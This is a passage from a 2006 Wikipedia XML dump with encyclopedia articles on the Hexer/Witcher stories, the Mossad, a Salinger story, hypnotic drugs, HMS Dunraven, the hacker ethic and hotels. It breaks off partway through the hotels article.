      <text xml:space="preserve">'''The Hexer''' or '''the Witcher''' ([[Polish language|Polish]]: ''Wiedźmin'') named Geralt is a character created by [[Andrzej Sapkowski]]. Hexers appear in Sapkowski's ''Hexer cycle'', comprising two short story collections and five novels. The novels sometimes wrongly described as the ''Hexer Saga'' (''Saga o wiedźminie''), where the correct over-title is ''Blood of the Elves''. The stories and novels have been translated into Czech, Slovak, German, Russian, Lithuanian, French and Spanish. English translation of ''The Final Wish'' short story collection is going to be published by [[Victor Gollancz Ltd|Gollancz]] in [[2006]].

''Hexers'' are professional monster killers who receive special training and preparation. They are sterile mutants with supernatural abilities. During their training they are also taught to suppress their feelings, which leads many people to believe that they have no emotions. Geralt, the central character in Sapkowski's stories, is one of the best hexers.

Alternatively, the word ''warlock'' has been used informally in English translations, while ''witcher'', being a new word in English (as ''wiedźmin'' is in Polish) describes better the spirit of Geralt's profession. ''Witcher'' is also used by the makers of a computer game based on the books. Sapkowski himself prefers the translation ''hexer''.

==The Hexer cycle==
[[Image:Wiedzmin plakat.jpg|250px|thumb|right|Movie poster]]
===Short stories===
The hexer cycle started as a series of short stories, at first published in ''[[Fantastyka]]'', a Polish science fiction magazine. The first short story was ''Wiedźmin'' (''Hexer'') ([[1986]]), written for a contest of ''Fantastyka'' magazine, where it won the 3rd place. The first four stories of Geralt (and ''Droga, z której się nie wraca'' (''The road with no return''), which took place in the same world, but dozens of years before the Hexer stories) were published in a short story collection titled ''Wiedźmin''. All fifteen short stories were later collected in three books published by superNOWA - ''Ostatnie życzenie'' (''The final wish''), ''Miecz przeznaczenia'' (''The sword of destiny'') and ''Coś się kończy, coś się zaczyna'' (''Something ends, something begins'').

===The Saga===
''Blood of the Elves'' is the over-title of the five novels about Geralt - ''Krew elfów'' (''Blood of the Elves''), ''Czas pogardy'' (''Season of contempt''), ''Chrzest ognia'' (''Baptism by fire''), ''Wieża jaskółki'' (''The Swallow's Tower'') and ''Pani jeziora'' (''Lady of the lake'') - in which Sapkowski joins the threads started in the short stories, and adds new ones. Apart from the hexer himself, another central character is princess Ciri.

===List of books===

====Short story collections:====
*''[[The Final Wish]]'' (''Ostatnie życzenie'') ([[1993]])
*''[[Sword of Destiny]]'' (''Miecz przeznaczenia'') ([[1992]])
*''[[Something ends, something begins]]'' (''Coś się kończy, coś się zaczyna'') ([[2000]])

====Hexer saga:====
*''[[Blood of the Elves]]'' (''Krew elfów'') ([[1994]])
*''[[Season of Contempt]]'' (''Czas pogardy'') ([[1995]])
*''[[Baptism by Fire]]'' (''Chrzest ognia'') ([[1996]])
*''[[The Swallow's Tower]]'' (''Wieża jaskółki'') ([[1997]])
*''[[Lady of the Lake (novel)|Lady of the Lake]]'' (''Pani jeziora'') ([[1999]])

==Comic books==
In [[1993]]-[[1995]], Sapkowski's stories were adapted into six [[comic book]] albums by [[Maciej Parowski]] (story), [[Boguslaw Polch]] (art), and Sapkowski himself. They are:

*''The Road with no Return'' (''Droga bez powrotu'', based on short story ''Droga, z której się nie wraca'')
*''Geralt'' (based on the short story ''Wiedźmin'')
*''Lesser Evil'' (''Mniejsze zło'', based on a short story of the same title)
*''The Final Wish'' (''Ostatnie życzenie'', based on a short story of the same title)
*''The Border of Possibility'' (''Granica możliwości'', based on a short story of the same title)
*''Betrayal'' (''Zdrada'')

==Film==
'''The Hexer''' is also the title of a movie ([[2001]]) and television series ([[2002]]), directed by [[Marek Brodzki]], written by [[Michal Szczerbic|Michał Szczerbic]], and produced by [[Lew Rywin]]. The role of Geralt was played by [[Michal Zebrowski|Michał Żebrowski]], and the music was composed by [[Grzegorz Ciechowski]]. The film was essentially the TV series chopped into about 2 hours and received very poor reviews from both the fans and the critics.

==TV Series==
A 13 episode TV series came out the following year. The series was much more coherent than the confusing movie, but was still considered a failure mostly due to the film's already bad reputation. The TV series has been unofficially released in English on the internet.

==Role-playing game==
In [[2001]] a [[role-playing game]] called ''The Hexer: A Game of Imagination'' (''Wiedźmin: Gra Wyobraźni'') based on Sapkowski's books was published by MAG. A second edition of the game is currently in production.

==Computer game==
A [[computer role-playing game]] based on Sapkowski's saga called ''[[The Witcher (computer game)|The Witcher]]'' is in develop stage by [[CD Projekt|CD Projekt's]] studio called [[CD Projekt RED]] and it will be released on [[2006 in gaming|2006]].

==External links==
*[http://www.sapkowski.pl Official website of Andrzej Sapkowski]
*[http://film.sapkowski.pl Unofficial website of the movie]
*[http://www.imdb.com/title/tt0300657/ Internet Movie Database page for the movie]
*[http://www.wiedzmin.rpg.pl Official website of the role-playing game]
*[http://www.thewitcher.com Official website of the computer game]

[[Category:Characters in written fantasy|Hexer, the]]
[[Category:Polish literature|Hexer, the]]
[[Category:Polish films|Hexer, the]]
[[Category:Polish comics|Hexer, the]]
[[Category:Polish superheroes]]

[[cs:Zaklínač]]
[[pl:Wiedźmin]]</text>
    </revision>
  </page>
  <page>
    <title>Mossad</title>
    <id>14267</id>
    <revision>
      <id>42131133</id>
      <timestamp>2006-03-04T00:51:30Z</timestamp>
      <contributor>
        <username>OneEuropeanHeart</username>
        <id>633536</id>
      </contributor>
      <comment>added links</comment>
      <text xml:space="preserve">[[Image:MossadLogo.gif|right|thumbnail|131px|Official seal of the Mossad]] 
{{Israelis}}
'''{{Audio|He-Mossad.ogg|Ha-Mōśād le-Mōdī`īn ū-le-Tafqīdīm Meyūhadīm}}''' ([[Hebrew language|Hebrew]]: &amp;#1492;&amp;#1502;&amp;#1493;&amp;#1505;&amp;#1491; &amp;#1500;&amp;#1502;&amp;#1493;&amp;#1491;&amp;#1497;&amp;#1506;&amp;#1497;&amp;#1503; &amp;#1493;&amp;#1500;&amp;#1514;&amp;#1508;&amp;#1511;&amp;#1497;&amp;#1491;&amp;#1497;&amp;#1501; &amp;#1502;&amp;#1497;&amp;#1493;&amp;#1495;&amp;#1491;&amp;#1497;&amp;#1501;, '''Institute for Intelligence and Special Operations''' [http://www.mohr.gov.il/Mohr/MohrTopNav/MohrEnglish/MohrAboutUs/]) is an [[Israel|Israeli]] [[intelligence agencies|intelligence agency]], commonly referred to as '''Mossad'''. It is responsible for [[Intelligence (information gathering)|intelligence collection]], [[counter-terrorism]], and [[Covert operation|covert action]], including paramilitary activities, some of questionable legality. The Institute is a component of [[Israel Secret Intelligence Service]] and is separate from Military Intelligence [[Aman (IDF)|Aman]] and the General Security Service [[Shabak]].

==Introduction==

Mossad is one of the world's best-known and most highly regarded [[Intelligence agency|intelligence agencies]].  Mossad was formed in December 1949 as the &quot;Central Institute for Coordination&quot;, at the recommendation of Reuven Shiloah to [[Prime Minister]] [[David Ben Gurion]]. Shiloah wanted a central body to coordinate and improve cooperation between the existing security services &amp;mdash; the army's intelligence department (AMAN), the General Security Service (GSS or &quot;Shabak&quot;) and the foreign office's &quot;political department&quot;. In March 1951, it was reorganized and made a part of the prime minister's office, reporting directly to the prime minister. Its current staff is estimated at approximately 1,200.

Mossad is a civilian service, and does not use [[military rank]]s, although most of its staff have served in the [[Israeli Defense Force]] as part of Israel's compulsory draft system, and many of them are [[officer (armed forces)|officer]]s. 

Mossad's original motto: ''be-tahbūlōt ta`aseh lekhā milkhamāh'' ([[Hebrew language|Hebrew]]: &amp;#1489;&amp;#1514;&amp;#1495;&amp;#1489;&amp;#1493;&amp;#1500;&amp;#1493;&amp;#1514; &amp;#1514;&amp;#1506;&amp;#1513;&amp;#1492; &amp;#1500;&amp;#1498; &amp;#1502;&amp;#1500;&amp;#1495;&amp;#1502;&amp;#1492;, &quot;For by wise counsel thou shalt make thy war.&quot; - Proverbs XXIV, 6 or the more recognised translation &quot;By way of deception thou shalt make war&quot;) was changed recently as part of the Mossad's public 'coming out' to another Proverbs passage: ''be-'éyn tahbūlōt yīpōl `ām; ū-teshū`āh be-rōv yo'éts'' ([[Hebrew language|Hebrew]]: &amp;#1489;&amp;#1488;&amp;#1497;&amp;#1503; &amp;#1514;&amp;#1495;&amp;#1489;&amp;#1493;&amp;#1500;&amp;#1493;&amp;#1514; &amp;#1497;&amp;#1508;&amp;#1493;&amp;#1500; &amp;#1506;&amp;#1501;, &amp;#1493;&amp;#1514;&amp;#1513;&amp;#1493;&amp;#1506;&amp;#1492; &amp;#1489;&amp;#1512;&amp;#1493;&amp;#1489; &amp;#1497;&amp;#1493;&amp;#1506;&amp;#1509;, &quot;Where no counsel is, the people fall, but in the multitude of counselors there is safety.&quot; - Proverbs XI, 14)

Its many successes in serving Israel's security interests have earned Mossad a reputation for being extremely effective as an intelligence agency. Controversy exists over a few cases where it has employed the tactics of [[kidnapping]] and [[assassination]]. It has also been at the forefront of several publicly embarrassing failures.

==Departments==

Mossad is headquartered in [[Tel Aviv]] and has eight departments:
* Collections Department is the largest, with responsibility for espionage operations.
* Political Action and Liaison Department conducts political activities and liaison with friendly foreign intelligence services and with nations with which Israel does not have normal diplomatic relations.
* Special Operations Division (Metsada) conducts [[assassination]], [[sabotage]], and [[paramilitary]] projects. 
* LAP (Lohamah Psichlogit) Department is responsible for [[psychological warfare]], [[propaganda]] and deception operations. 
* Research Department is responsible for intelligence synthesis.
* Technology Department is responsible for development of technologies to support Mossad operations.

== Famous Mossad Successes ==

* Audio surveillance of Nikita Khrushchev's [[On the Personality Cult and its Consequences|Secret Speech]]. The recording was later turned over to the CIA.
* Location and abduction of Nazi [[War Criminal]] [[Adolf Eichmann]]
* Assisting in [[Operation Moses]], the immigration of [[Ethiopia]]n Jews to Israel.
* Assisting in the defection and rescuing the family of [[Munir Redfa]], an Iraqi pilot who [[defection|defected]] and flew his [[MiG 21]] to Israel.
* Assassination of those responsible for the [[Munich massacre]] at the [[1972 Summer Olympics|1972 Olympic Games]], called &quot;Operation Wrath of God&quot;.
* Abduction of [[Mordechai Vanunu]] in [[Italy]] 1986
* Providing highly sensitive information about [[Iraq]]'s [[Osiraq]] [[nuclear reactor]], destroyed in an Israeli airstrike in 1981.
* Providing intelligence for Israeli military operations, thousands of miles away from Israel, for instance, for [[Operation Entebbe]].
* Providing intelligence for the assassination of [[Abu Jihad]] by Israeli commandos (unverified but widely believed)
* The assassination of [[Gerald Bull]] (unverified but widely believed)

== Famous Mossad Failures ==
In 1954, as part of [[Lavon_Affair#Operation_Suzannah|Operation Suzannah]], a post office in Alexandria, [[Egypt]] was firebombed and [[U.S. Information Agency]] libraries in Alexandria and Cairo and a British-owned theater were bombed by Mossad operatives. The aim of this [[False flag|false flag]] operation was to influence the British into cancelling or delaying their withdrawal from the [[Suez Canal]].

In 1973, [[Ahmed Bouchiki]], an innocent Arab waiter in [[Lillehammer]], [[Norway]], was killed. He had been mistaken for [[Ali Hassan Salameh]], one of the leaders of [[Black September (group)|Black September]], the [[Palestinian]] group responsible for the [[Munich Massacre]], who had been given shelter in Norway. The Mossad agents had used fake [[Passport Canada|Canadian passports]], which angered the [[Canada|Canadian]] government. 

In 1981, fake [[United Kingdom|British]] passports  were discovered in a grocery bag in London, leading to a diplomatic row with Israel over Mossad involvement in an attempt to infiltrate [[China]]. 

In 1997, two Mossad agents were caught in [[Jordan]], which had signed a peace treaty with Israel, on a mission to assassinate Sheikh [[Khaled Mashal]], a leader of [[Hamas]], by injecting him with [[poison]]. Again, they were using fake Canadian passports. This led to a diplomatic row with Canada and Jordan, and Israel was forced to provide the poison [[antidote]] and release around 70 Palestinian prisoners, in particular the Hamas leader [[Sheikh Ahmed Yassin]] &amp;mdash; who played a prominent role in encouraging attacks on Israeli [[civilian]]s (and soldiers) during the [[Al-Aqsa intifada]] &amp;mdash; in exchange for the Mossad agents, who would otherwise have faced the death penalty for attempted murder. In March of 2004, seven years after he was released, Yassin was killed in an Israeli helicopter airstrike. 

In July 2004, [[New Zealand]] imposed [[diplomatic sanctions]] on Israel over an incident in which two Israelis, Uriel Kelman and Eli Cara, who were allegedly working for Mossad, attempted to obtain New Zealand passports fraudulently.
[http://www.mediareviewnet.com/New%20Zealand%20imposes%20diplomatic%20sanctions%20on%20Israel.htm] Israeli Foreign Minister [[Silvan Shalom]] later apologized to [[New Zealand]] for their actions. New Zealand cancelled several other passports believed to have been obtained by Israeli agents. [http://www.nzherald.co.nz/index.cfm?c_id=1&amp;ObjectID=10332767]. Both Kelman and Cara served half of their six month sentences and upon release were deported to Israel. Two others, an Israeli, Ze'ev Barkan, and a New Zealander, David Reznick, are believed to have been the third and fourth men involved in the passport affair but managed to leave New Zealand before being traced.

== Directors of Mossad  ==
{{col-begin}}
{{col-break}}
* [[Reuven Shiloah]], 1951-1952
* [[Isser Harel]], 1952-1963
* [[Meir Amit]], 1963-1968

{{col-break}}
* [[Zvi Zamir]], 1968-1974
* [[Yitzhak Hofi]], 1974-1982
* [[Nahum Admoni]], 1982-1990

{{col-break}}
* [[Shabtai Shavit]], 1990-1996
* [[Danny Yatom]], 1996-1998
* [[Ephraim Halevy]], 1998-2002

{{col-break}}
* [[Meir Dagan]], 2002-Present
{{col-end}}

==See also==
*[[Numbers station]]
*[[By Way of Deception]] by [[Victor Ostrovsky]]

==External links==
*[http://www.mohr.gov.il Official website], used for recruiting personnel 
*[http://www.rediff.com/news/2003/sep/08spec.htm The Indian Research and Analysis Wing (&quot;RAW&quot;) and The Israeli Mossad - the Secret Link] 
*[http://www.mossad.gov.il/Mohr/MohrTopNav/MohrEnglish/MohrAboutUs/ English version]
*[http://www.globalsecurity.org/intell/world/israel/mossad.htm GlobalSecurity.org entry for Mossad]
*[http://www.axisglobe.com/article.asp?article=321 Why Does the Mossad Rely on Putin] AIA exclusive report.
*[http://www.axisglobe.com/article.asp?article=389 The Emissary of the Mossad in the heart of the Muslim East. The Conflict Which Didn't Happen]
*[http://www.axisglobe.com/article.asp?article=446 Russia as a Bridgehead of HAMAS] 

[[Category:Israeli Security Forces]]
[[Category:Hebrew words]]
[[Category:Intelligence agencies]]

[[ar:موساد]]
[[da:Mossad]]
[[de:Mossad]]
[[el:Mossad]]
[[es:Mosad]]
[[fa:موساد]]
[[fr:Mossad]]
[[id:Mossad]]
[[it:Mossad]]
[[he:המוסד למודיעין ולתפקידים מיוחדים]]
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[[ms:Mossad]]
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[[sv:Mossad]]</text>
    </revision>
  </page>
  <page>
    <title>Hapworth 16, 1924</title>
    <id>14268</id>
    <revision>
      <id>40455550</id>
      <timestamp>2006-02-20T18:07:55Z</timestamp>
      <contributor>
        <username>Crasshopper</username>
        <id>331972</id>
      </contributor>
      <text xml:space="preserve">'''Hapworth 16, 1924''' is the &quot;youngest&quot; of [[J.D. Salinger]]'s [[Glass Family]] stories, in the sense that the narrated events happen chronologically before all other Glass stories.

It is famous as the last work Salinger has published since it appeared in the [[June 19]], [[1965]] edition of ''[[The New Yorker]]''.
{{spoiler}}
It is in the form of letter from camp written by an (obviously precocious) seven-year-old [[Seymour Glass]] (the suicide of &quot;[[A Perfect Day for Bananafish]]&quot;).

In accordance with the wishes of the author, Orchises Press has now decided not to publish this work. While it is theoretically possible to look through [[archives]] of the ''New Yorker'' and find the story, few of these editions exist for public consumption due to the rarity of the Salinger story within.  However, some clever people have found and reprinted its text online, including the following: http://www.geocities.com/deadcaulfields/stories/Hapworth_16_1924.txt.
{{story-stub}}
[[Category:Short stories]]</text>
    </revision>
  </page>
  <page>
    <title>Hypnotic</title>
    <id>14269</id>
    <revision>
      <id>36741725</id>
      <timestamp>2006-01-26T03:42:06Z</timestamp>
      <contributor>
        <ip>68.19.134.45</ip>
      </contributor>
      <text xml:space="preserve">:''For the debated psychological state, see [[Hypnosis]]''

'''Hypnotic''' drugs are a class of [[Psychoactive drug|drug]]s that induce [[sleep]], used in the treatment of severe [[insomnia]].

These drugs include [[barbiturate]]s, [[benzodiazepine]]s, [[zolpidem]], [[zopiclone]], [[eszopiclone]],  [[chloral hydrate]], [[chlormethiazole]] or the [[antihistamine]]s [[doxylamine]], [[promethazine]], and [[diphenhydramine]]. [[Ethanol|Alcohol]] is often tried as a hypnotic drug but it is not particularly effective.
{{pharma-stub}}

[[Category:Hypnotics| ]]
[[fr:Hypnotique]]
[[pt:Hipnótico]]</text>
    </revision>
  </page>
  <page>
    <title>High Fantasy</title>
    <id>14272</id>
    <revision>
      <id>15911835</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[High fantasy]]
</text>
    </revision>
  </page>
  <page>
    <title>HMS Dunraven</title>
    <id>14273</id>
    <revision>
      <id>15911836</id>
      <timestamp>2004-10-22T21:44:24Z</timestamp>
      <contributor>
        <username>Lord Emsworth</username>
        <id>20178</id>
      </contributor>
      <comment>proper name is &quot;Royal Navy&quot;</comment>
      <text xml:space="preserve">'''HMS ''Dunraven''''' was a [[Q-Ship]] of the [[Royal Navy]] during [[World War I]].

On [[August 8]], [[1917]], 130 miles southwest of [[Ushant]] in the [[Bay of Biscay]], disguised as the collier ''Boverton'' and commanded by Captain Gordon Campbell V.C.,
''Dunraven'' spotted [[Unterseeboot 71|UC-71]], commanded by ''Oberleutnant zur See'' Reinhold Saltzwedel.  Saltzwedel believed the disguised ship was a merchant vessel.  The [[U-boat]] submerged and closed with ''Dunraven'' before surfacing
astern at 11:43 am and opening fire at long range.  ''Dunraven'' made smoke and sent off a panic party (a small number of men who &quot;abandon ship&quot; during an attack to continue the impersonation of a merchant). 

Shells began hitting ''Dunraven'', detonating her depth charges and setting her stern afire.  Her crew remained hidden letting the fires burn.  Then a 4 inch (102 mm) gun and crew were blown away revealing ''Dunraven'''s identity as a warship, and UC-71 submerged.  A second &quot;panic party&quot; abandoned ship.  ''Dunraven'' was hit by a torpedo.  A third &quot;panic party&quot; went over the side, leaving only two guns manned.  UC-71 surfaced, shelled ''Dunraven'' and again submerged.  Campbell replied with two torpedoes that missed, and around 3 pm, the undamaged U-boat left that area.
Only one of ''Dunraven'''s crew was killed, but the Q-Ship was sinking.

British [[destroyer]] [[HMS Christopher|HMS ''Christopher'']] picked up ''Dunraven'''s survivors and took her in tow for [[Plymouth]], but ''Dunraven'' sank at 1:30 am early on [[August 10]], [[1917]] to the north of Ushant. Two [[Victoria Cross]]es were awarded by ballot, one to the ship's First Lieutenant, Lt. Charles George Bonner RNR, and the other to a 4 inch (102 mm) gunlayer, Petty Officer Ernest Herbert Pitcher.

Captain Campbell later wrote: 
:&quot;It had been a fair and honest fight, and I lost it.  Referring to my crew, words cannot express what I am feeling.  No one let me down. No one could have done better.&quot; 

Captain Campbell had been previously awarded the Victoria Cross, in February [[1917]], for the sinking of [[Unterseeboot 83|U-83]].

=== General Characteristics ===

* Displacement: 3,100 tons
* Armament: 1 4 in (102 mm), 4 12 pounder (5 kg), 2 14 in (356 mm) torpedo tubes
* Built [[1910]]

[[Category:Royal Navy ships|Dunraven]]</text>
    </revision>
  </page>
  <page>
    <title>Hacker ethic</title>
    <id>14275</id>
    <revision>
      <id>41453685</id>
      <timestamp>2006-02-27T12:56:03Z</timestamp>
      <contributor>
        <username>Batmanand</username>
        <id>131948</id>
      </contributor>
      <minor />
      <comment>removed &quot;- -&quot;</comment>
      <text xml:space="preserve">In modern parlance, the '''[[hacker]] ethic''' is either:
* the belief that information-sharing is a powerful positive good, and that it is an ethical duty of hackers to share their expertise by writing [[free software]] and facilitating access to information and computing resources wherever possible; and/or

* the belief that system cracking for fun and exploration is ethically acceptable as long as the hacker commits no [[theft]], [[vandalism]], or breach of [[confidentiality]].

Both of these normative ethical principles are widely, but by no means universally, accepted among hackers. The first, and arguably the second, emerged from the [[MIT Artificial Intelligence Laboratory]] during the [[1960s|'60s]] and [[1970s|'70s]].

Most hackers subscribe to the hacker ethic in the first sense, and many act on it by writing [[free software]], giving the user permission to study, modify, and redistribute it. A few, such as the [[Free Software Foundation]], go further and assert that it is immoral to prevent computer users from sharing or altering software, as is typical with [[proprietary software]].

The second sense is more controversial: some people consider the act of cracking afoul of the government itself to be unethical, like [[breaking and entering]] into an office. But the belief that 'ethical' cracking excludes destruction at least moderates the behavior of people who see themselves as 'benign' crackers (see also [[samurai (hacking)|samurai]], [[grey hat]]). On this view, it may be one of the highest forms of hacker courtesy to (a) break into a system, and then (b) explain to the [[SysOp]], preferably by email from a [[superuser]] account, exactly how it was done and how the [[Software security vulnerability|hole]] can be plugged; effectively acting as an unpaid (and unsolicited) [[tiger team]]. 

The most reliable manifestation of either version of the hacker ethic is that almost all hackers are actively willing to share technical tricks, software, and (where possible) computing resources with other hackers. Huge cooperative networks such as [[Usenet]], [[FidoNet]] and the [[Internet]] itself can function without central control because of this trait; they both rely on and reinforce a sense of [[community]] that may be hackerdom's most valuable intangible asset.

==Origins and history==

The term &quot;hacker ethic&quot; was coined by journalist [[Steven Levy]] and used for the first time in ''[[Hackers: Heroes of the Computer Revolution#Hacker ethic|Hackers: Heroes of the Computer Revolution]]'' ([[1984]]). In Levy's account of the hacker ethic is in large parts based on the values of the &quot;old school&quot; hackers at MIT Artificial Intelligence Laboratory. Among these hackers were [[Richard Stallman|Richard M. Stallman]], whom Levy at the time called the last true hacker. The similarities between the Hacker Ethic and values existing in open scientific communities is, therefore, no coincidence.

In Levy's codification, the principles of the Hacker Ethic were:

* Access to computers—and anything which might teach you something about the way the world works—should be unlimited and total. Always yield to the Hands-on Imperative!
* All information should be free.
* Mistrust authority—promote decentralization.
* Hackers should be judged by their hacking, not bogus criteria such as [[academic degree|degrees]], [[ageing|age]], [[race]], or position.
* You can create [[art]] and beauty on a computer.
* Computers can change your life for the better.
 
Later in [[2001]], [[Finland|Finnish]] philosopher [[Pekka Himanen]] opposed the Hacker ethic with [[Protestant work ethic]]. In Himanen's opinion the hacker ethic is closer related to the [[Virtue ethics]] found in the writings of [[Plato]] and of [[Aristotle]].

==See also==
* [[Ethical code]]
* [[Grey hat]]
* [[Hacker culture]]
* [[Hacker definition controversy]]
* [[Open source ethics]]

==Books and media==
* ''[[Hackers: Heroes of the Computer Revolution]]''
* [[Pekka Himanen]], ''The Hacker Ethic and the Spirit of the Information Age'', ISBN 0375505660

==External links==
* [[Enid Gabriella Coleman]], an anthropologist at the University of Chicago, has written extensively on the hacker ethic and culture [http://healthhacker.org/biella/freesoftware.html]
*[http://www.hackerslegion.com/ Legion of Ethical Hacking]
* [[Tom Chance]], [http://tom.acrewoods.net/research/hackerethic/dissertation The Hacker Ethic and Meaningful Work]

[[Category:Computer hacking]]

[[de:Hackerethik]]
[[es:Ética hacker]]
[[pt:Ética hacker]]</text>
    </revision>
  </page>
  <page>
    <title>Hotel</title>
    <id>14276</id>
    <revision>
      <id>42042662</id>
      <timestamp>2006-03-03T11:55:13Z</timestamp>
      <contributor>
        <username>Mormegil</username>
        <id>75813</id>
      </contributor>
      <minor />
      <comment>/* See also */ +cs:</comment>
      <text xml:space="preserve">{| align=right
|[[image:castle.combe.hotel.arp.jpg|thumb|right|280px|The 4-star Manor House Hotel at Castle Combe, [[Wiltshire, England]]. Built in the fourteenth century, the hotel has 48 rooms and 365 acres (1.5 km&amp;sup2;) of gardens.]]
|-
|[[Image:Hotel1.JPG|thumb|280px|A small hotel in [[Mureck, Austria|Mureck, Styria, Austria]] which has preserved its 1960s exterior and interior]]
|-
|[[image:Hotel-room-renaissance-columbus-ohio.jpg|thumb|280px|An upscale hotel room in the [[Renaissance Hotels]] chain in the U.S.]]
|}
A '''hotel''' is an establishment that provides paid [[lodging]], usually on a short-term basis and especially for [[tourist]]s.  Hotels often provide a number of additional guest services such as a [[restaurant]], a [[swimming pool]] or [[childcare]].  Some hotels have [[conference]] services and encourage groups to hold [[convention]]s and [[meeting]]s at their location.

Hotels differ from [[motel]]s in that most motels have drive-up, exterior entrances to the rooms, while hotels tend to have interior entrances to the rooms, which has been asserted by some hotels as enhancing guests' safety and presenting a more upscale image.

==Origins of the term==
The word ''hotel'' derives from the [[French language|French]] ''hôtel'', which originally referred to a French version of a [[townhouse]], not a place offering accommodation (in contemporary usage, ''hôtel'' has the meaning of &quot;hotel&quot;, and ''hôtel particulier'' is used for the old meaning). The French spelling (with the [[circumflex]]) was once also used in English, but is now rare. The circumflex replaces the 's' once preceding the 't' in the earlier ''[[hostel]]'' spelling, which over time received a new, but closely related meaning.

==Services and facilities==
Basic accommodation of a room with a [[bed (furniture)|bed]], a cupboard, a small table and a washstand only has largely been replaced by rooms with [[en-suite]] [[bathroom]]s and climate control. Other features found may be a [[telephone]], an [[alarm clock]], a [[television|TV]], and [[broadband]] [[Internet]] connectivity. Food and drink may be supplied by a [[mini-bar]] (which often includes a small [[refrigerator]]) containing [[snack]]s and [[drink]]s (to be paid for on departure), and [[tea]] and [[coffee]] making facilities (cups, [[spoon]]s, an electric [[kettle]] and sachets containing [[instant coffee]], [[tea bag]]s, [[sugar]], and [[cream (food)|creamer]] or [[milk]]).

In the United Kingdom a hotel is required by law to serve food and drinks to all-comers within certain stated hours; to avoid this requirement it is not uncommon to come across &quot;[[private hotel]]s&quot; which are not subject to this requirement.

However, in [[Japan]] the [[capsule hotel]] supplies minimal facilities and room space.

==Classification==
The cost and quality of hotels are usually indicative of the range and type of services available. Due to the enormous increase in [[tourism]] worldwide during the last decades of the [[20th century]], standards, especially those of smaller establishments, have improved considerably. For the sake of greater comparability, rating systems have been introduced, with the [[star (classification)|one to five stars]] classification being most common.

==Boutique hotels==

&quot;Boutique Hotel&quot; is a term originating in [[North America]] to describe intimate, usually luxurious or quirky hotel environments. Boutique hotels differentiate themselves from larger chain or branded hotels by providing an exceptional and personalized level accommodation, services and facilities.

Typically boutique hotels are furnished in a themed, stylish and/or aspirational manner. Although usually considerably smaller than a mainstream hotel (ranging from 3 to 100 guest rooms) boutique hotels are generally fitted with telephony and [[wi-fi]] [[Internet]] connections, [[honesty bars]] and often cable/pay TV. Guest services are attended to by 24 hour hotel staff. Many boutique hotels have on site dining facilities, and the majority offer bars and lounges which may also be open to the general public.

Of the total travel market a small percentage are discerning travelers, who place a high importance on privacy, luxury and service delivery. As this market is typically corporate travelers, the market segment is referral-rich, non-seasonal, high-yielding and repeat, and therefore one which boutique hotel operators target as their primary source of income.


==Famous Hotels==
Most world famous hotels have gained their renown through tradition, by hosting significant events or persons, such as Schloss '''[[Cecilienhof]]''' in [[Potsdam]], [[Germany]], which derives its fame from the so-called [[Potsdam Conference]] of the [[World War II]] allies [[Winston Churchill]], [[Harry Truman]] and [[Joseph Stalin]] in [[1945]]. Other establisments have given name to a particular meal or beverage, as is the case with the '''[[Waldorf Astoria]]''' in [[New York City]], [[USA]], known for its ''[[Waldorf Salad]]'' or the '''[[Raffles Hotel]]''' in [[Singapore]], where the drink ''[[Singapore Sling]]'' was invented. Another example is the '''[[Hotel Sacher]]''' in [[Vienna]] Austria, home of the ''[[Sachertorte]]''.

A number of hotels have entered the public concsiousness through popular culture, such as the '''[[Ritz Hotel]]''' in [[London]], [[UK]] ('Putting on The Ritz') and '''[[Hotel Chelsea]]''' in New York City, subject of a number of songs and also the scene of the alleged stabbing of [[Nancy Spungen]] by her boyfriend [[Sid Vicious]]. Hotels that enter popular folklore like these two are also often frequented by celebrities, as is the case both with the Ritz and the Chelsea. Other such establishments include the '''[[Beverly Hills Hotel]]''' and the '''[[Chateau Marmont]]''', both in [[California]], [[USA]].

The '''[[Burj Al Arab]]''' in [[Dubai]], held to be the most luxurious in the world, also merits a mention.

==Unusual hotels==

[[Image:Ariau_towers.jpg.jpg|thumb|200px|right|The first of the Ariau towers]]
===Treehouse hotels===
Some hotels, such as the [[Costa Rica Tree House]] in the [[Gandoca-Manzanillo Wildlife Refuge]], [[Costa Rica]], or [[Treetops Hotel]] in [[Aberdares National Park]], [[Kenya]], are built with living trees as structural elements, making them [[treehouses]].

The [[Ariau Towers]] near Manaus, Brazil is a well-known hotel, in the middle of the Amazon, on the Rio Negro. Bill Gates even invested and had a suite built there with satellite internet/phone.

===Cave hotels===
[[Desert Cave Hotel]] in [[Coober Pedy, South Australia]] and the [[Cuevas Pedro Antonio de Alarcón]] (named after the [[Pedro Antonio de Alarcón|author]]) in [[Guadix]], Spain, as well as several hotels in [[Cappadocia]], Turkey, are notable for being built into natural [[cave]] formations, some with rooms underground.

===Ice hotels===
''Main article: [[Ice hotel]]''

Ice hotels, such as the canonical Ice Hotel in [[Jukkasjärvi]], Sweden, melt every spring and are rebuilt out of ice and snow every winter.

===Underwater hotels===
[[As of 2005]], the only hotel with an underwater room that can be reached without [[Scuba diving]] is [[Utter Inn]] in [[Lake Mälaren]], Sweden. &lt;!-- feel free to correct me on this one! --&gt; It only has one room, however, and [[Jules' Undersea Lodge]] in [[Key Largo]], Florida, which requires scuba diving, is not much bigger.

[[Hydropolis]] is an ambitious project to build a luxury hotel in [[Dubai]], [[UAE]], with 220 suites, all on the bottom of the [[Persian Gulf]], 20 meters (66 feet) below the surface. Its architecture will feature two domes that break the surface and an underwater train tunnel, all made of transparent materials such as glass and [[Polymethyl methacrylate|acrylic]].

===Other unusual hotels===
The [[Library Hotel]] in [[New York City]] is unique in that its ten floors are arranged according to the [[Dewey Decimal System]].


[[image:Cincinnati-westin-hotel.jpg|thumb|250px|Typical high-rise urban [[hotel chain|chain]] hotel: [[Westin Hotels|Westin]] in [[Cincinnati, Ohio]].]]

==World-record setting hotels==

=== Tallest ===
The tallest hotel in the world is the [[Burj al-Arab]] in [[Dubai]], at 321 meters (1,053 feet).  However, this title may be taken by the less illustrious [[Ryugyong Hotel]] in [[Pyongyang]] at 330 meters (1,083 feet), pending its (perhaps unlikely) completion; it has been under construction since [[1987]] and was abandoned in [[1992]]. 

=== Largest ===
